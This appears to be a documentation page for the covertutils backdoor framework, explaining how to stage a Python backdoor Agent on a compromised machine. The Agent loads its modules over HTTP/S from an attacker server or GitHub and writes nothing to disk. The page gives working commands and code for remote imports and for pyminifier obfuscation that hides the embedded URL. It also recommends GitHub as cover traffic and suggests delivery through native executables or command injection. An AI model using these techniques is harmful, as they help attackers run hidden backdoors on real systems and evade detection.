Staging Python code¶
So, you coded the whole sophisticated backdoor, and it is like 500 Lines-of-Code. With 500 locs it must be a great, super stealth backdoor!
But now what? How do you pack the Agent with the whole covertutils
package, to a single Python file?
After some research you could find some solutions. Most of them working.
- Stickytape
- The __main__.py Zip archive trick
- … all kinds of StackOverflow questions …
The problem with them is that they all require something to be written to disk.
Step Zero - The httpimport module¶
For this purpose I authored the httpimport
module. This module enables a Python script to remotely import any module or package through HTTP/S.
It resides in my Github, where you can find both documentation and usage examples. It is a single file module, the httpimport.py
, which is also Py2/3 compatible - just for the hell of it.
Step One - Code CopyPasta¶
Given that the unstaged_agent.py
is the file that contains the awesome 500 loc Agent that uses covertutils. Execute the following:
curl https://raw.githubusercontent.com/operatorequals/httpimport/master/httpimport.py | sed 's#log.*#pass#g' | grep -v "import pass" > staged_agent.py
cat unstaged_agent.py >> staged_agent.py
Now the staged_agent.py
consists both of a copy of the httpimport
module and the awesome super cool 500 loc covertutils
Agent
Note
The sed
and grep
magic ensures that all log lines of httpimport
(containing strings) are replaced with pass
. This way the script can be further minified.
Step Two - Create a Python HTTP/S Repo¶
Follow instructions in httpimport
README file for that.
Generally it can be summed up to a :
$ python -m SimpleHTTPServer
in the directory where the covertutils
package is available.
Warning
Implications
This Server must work from a host which is HTTP/S accessible to the compromised machine (the one where the Agent will run on).
Note the IP
and PORT
of the SimpleHTTPServer
.
Step Three - Wrap import
statements¶
Assemble the HTTP/S URL of the Python HTTP/S Repo like:
http://server_ip:server_port/
Skim through the code in staged_agent.py
and wrap every covertutils
import block of code with a with
statement as follows :
from covertutils.handlers import InterrogatingHandler, FunctionDictHandler
from covertutils.handlers.impl import StandardShellHandler
from covertutils.orchestration import StegoOrchestrator
from covertutils.datamanipulation import asciiToHexTemplate
has to become:
with remote_repo(["covertutils"], "http://localhost:8000/") :
from covertutils.handlers import InterrogatingHandler, FunctionDictHandler
from covertutils.handlers.impl import StandardShellHandler
from covertutils.orchestration import StegoOrchestrator
from covertutils.datamanipulation import asciiToHexTemplate
If you come up with a script for this (entirely possible and funny task) please open a Github Issue! Or simply Pull Request it - it’s already accepted!
Note
If covertutils
is the only module that you want to remotely import you can use Github as the Python HTTP/S Repo!
Just use the github_repo
context of httpimport
instead of remote_repo
:
with github_repo( 'operatorequals', 'covertutils' ) :
from covertutils.handlers import InterrogatingHandler, FunctionDictHandler
from covertutils.handlers.impl import StandardShellHandler
from covertutils.orchestration import StegoOrchestrator
from covertutils.datamanipulation import asciiToHexTemplate
This will ensure that you get the last covertutils
running on the compromised host,
as well as a not suspicious TLS connection to a well-known website! Reputation of Github is too damn high!
Step Three ‘n’ a half - Obfuscation¶
Pyminify the staged_agent.py
. You have a URL in there. At least make it difficult to see with strings
!
You can try:
pyminifier --obfuscate-builtins --obfuscate-classes --obfuscate-variables staged_agent.py > staged_agent.min.py
This step is really usefull as it will remove all comments and License strings, making the code smaller and unreadable (but functional).
It is also useful to use a --gzip
/--bzip2
argument as well, to mangle all strings
and minify even more!
Check the wc
output (byte size in third column) of the gzip
against plain
outputs:
$ pyminifier --obfuscate-builtins --obfuscate-classes --obfuscate-variables staged_agent.py > staged_agent.min.py
$ wc staged_agent.min.py
188 381 4402 staged_agent.min.py
$
$ pyminifier --gzip --obfuscate-builtins --obfuscate-classes --obfuscate-variables staged_agent.py > staged_agent.min.gzip.py
$ wc staged_agent.min.gzip.py
4 9 2461 staged_agent.min.gzip.py
Step Four - Pack it to an executable (or not) / Use it¶
The staged_agent.min.py
will remotely load all needed covertutils
modules using an HTTP/S connection to the URL specified.
It doesn’t contain any covertutils
code by itself.
No code will be written to disk. Not even Temporary files. You can audit the httpimport
module. It contains no IO system calls.
So packing to EXE and ELF should work without much hassle, as described in Native Executables. Dropping it to a Python shell or a Python command injection should work as well.
Step FIVE - Improvise¶
Passing code back and forth with HTTP/S is not really bright - even if it works. In case the code gets intercepted, it can be inspected (apart from changed). If the code gets caught, we get caught.
But the code can be encrypted!
And encrypted with ciphers found in covertutils.crypto.keys
. It can also be signed with scrambling algorithms in covertutils.crypto.algorithms
.
And those subpackages can be loaded remotely too. Or minified and used on-the-spot.
The road for a Staging Protocol is Open. And an HTTP/S proxy which
automatically obfuscates-encrypts-signs all requests for Python code wouldn’t be so difficult, using only covertutils
as a dependency.
It would also work with httpimport
out-of-the-box!
Wouldn’t it be elegant…